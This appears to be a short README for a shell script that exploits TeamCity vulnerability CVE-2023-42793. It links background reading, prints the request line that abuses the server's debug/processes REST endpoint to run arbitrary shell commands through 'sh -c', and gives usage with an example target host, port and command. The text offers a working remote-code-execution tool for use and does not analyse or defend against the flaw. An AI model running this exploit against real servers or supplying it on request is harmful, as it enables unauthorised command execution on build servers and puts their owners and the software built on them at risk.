
teamcity-exploit-cve-2023-42793
A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here:
https://www.cnblogs.com/LittleHann/p/17843271.html
This script adds in the ability to use "params" freely to execute commands after triggering the RCE bug:
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh¶ms=-c¶ms=${URLCMD}"
Usage: <base_url> <port> <command>
./TeamCity.sh blah.com 8111 "ls -lah"
The original script is here, full credit needs to go to them: https://github.com/Zenmovie/CVE-2023-42793